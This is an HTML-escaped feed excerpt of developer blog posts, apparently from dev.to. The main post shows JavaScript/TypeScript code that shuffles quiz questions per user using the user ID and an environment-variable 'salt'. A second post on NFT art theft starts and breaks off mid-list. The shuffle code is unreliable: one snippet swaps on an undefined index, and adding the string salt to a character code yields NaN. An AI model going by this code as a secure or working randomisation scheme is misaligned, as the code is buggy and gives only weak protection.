  &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="c1"&gt;// Pick a remaining element…&lt;/span&gt;
    &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But if you look closely, this is still shuffling randomly. Now we need to make it pseudorandom using the &lt;code&gt;user_id&lt;/code&gt;s. The &lt;code&gt;userId&lt;/code&gt; after removing hyphens given by AWS Cognito were of length 32. So I had to figure out a way to use these string bytes for randomizing. Here is my way of doing it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;br&gt;
Repeat the string until it is of S length&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;br&gt;
Now we can use this &lt;code&gt;clonedStr&lt;/code&gt; byte values to pick random Indices. Here is how the modified while loop would like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Pick a remaining element.&lt;/span&gt;
    &lt;span class="nx"&gt;randomIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I basically pick the ASCII code of the character and mod it with the length of the array to get a pseudo randomIndex. Since the &lt;code&gt;userId&lt;/code&gt;s are fixed, this loop always shuffles the array in a deterministic manner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;br&gt;
To add additional security, I used a custom Salt value. So even if my algorithm and &lt;code&gt;userId&lt;/code&gt; is exposed. Im relying on the secretly stored environment variable for securing the salt. Here is how I implemented salt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SECRET_SALT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I stuff each byte with my salt so the attacker needs to also get my salt to know his sequence. It might not stop them entirely, but definitely will slow them down significantly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The final version
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;moment&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;moment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TOTAL_NUMBER_OF_QUESTIONS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;QUIZ_START_DATE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;moment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;20220919&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;YYYYMMDD&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SECRET_SALT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// While there remain elements to shuffle.&lt;/span&gt;
    &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Pick a remaining element.&lt;/span&gt;
        &lt;span class="nx"&gt;randomIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getTodaysQuestions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;questionsArray&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TOTAL_NUMBER_OF_QUESTIONS&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;seedString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;questionsArray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;seedString&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;today&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;moment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;today&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;diff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;QUIZ_START_DATE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;days&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;questionsArray&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;getTodaysQuestions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;noob-master-69&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Thanks for reading. Hope it was useful to you in some way. Please feel free to reach out to me if you want to share improvements or feedbacks. Always happy to know.&lt;br&gt;
Reach out to me via &lt;a href="https://twitter.com/HarishTeens" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>algorithms</category>
    </item>
    <item>
      <title>The Tale of Digital Art Theft - Part1</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 20 Feb 2022 17:42:51 +0000</pubDate>
      <link>https://dev.to/harishteens/the-tale-of-digital-art-theft-part1-3ak1</link>
      <guid>https://dev.to/harishteens/the-tale-of-digital-art-theft-part1-3ak1</guid>
      <description>&lt;p&gt;While NFTs are booming, or probably they could be a bubble. Nobody can tell. What's real is digital art theft! This project tries to solve this problem by gathering and organising information from all appropriate sources. Hence I named this project "The Collective Truth(TCT)".&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem
&lt;/h2&gt;

&lt;p&gt;Let's discuss the NFT Art theft in detail first before we move ahead. There are several ways in which bad actors steal digital art. The two common kinds are Spoofing and Fraud.&lt;/p&gt;

&lt;h3&gt;
  
  
  Spoofing
&lt;/h3&gt;

&lt;p&gt;Bad actors disguise to be the original owner of the art and trick people into buying. Since every art piece is made publicly available, anybody could view it. And if you could view it, you can download it and save a copy. &lt;/p&gt;

&lt;p&gt;For example, Bad actors have bots set up to scrape of new and hot NFTs that are listed and re-mint them on their account. Yes, NFTs are non-transferrable and secure. But no buyer is going to go and look for the token address and make sense out of it. All they see is the art, and if it looks alike. They most probably are going to believe it. Usually these bad actors, go a level above and maintain an appealing social media profile by creating fake accounts that resemble the original creator. It's quite compelling and the rush often gets people into buying something not what the seller is claiming to be.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fraud
&lt;/h3&gt;

&lt;p&gt;The digital art creator community is well aware of the Spoofing problem. This is one of the biggest concerns for creators to not mint an NFT out of their art. They would rather be away from this mess. But unfortunately even the ones who dont mint an NFT get exploited too. &lt;/p&gt;

&lt;p&gt;I found this very depressing story where the bad actor stole the art from the creator's website and sold it to a big company on Fiverr. The big company didn't do their due diligence properly so they believed the person whom they bought it from was the creator. I dont see why they would wanna make any effort into verifying a creator on Fiverr, they would just be happy that get got good art for a lower price. At last, the creator would find about this theft after 3 years when he noticed his art being sold at the company's NFT marketplace. The creator wasn't even making any money out of his work, he was just publishing them for free out of passion. When he found out, he would send emails demanding his art to be taken down immediately. &lt;br&gt;
For the complete story , check this &lt;a href="https://www.youtube.com/watch?v=InlyF4906w0" rel="noopener noreferrer"&gt;video&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  More problems
&lt;/h3&gt;

&lt;ol&gt;
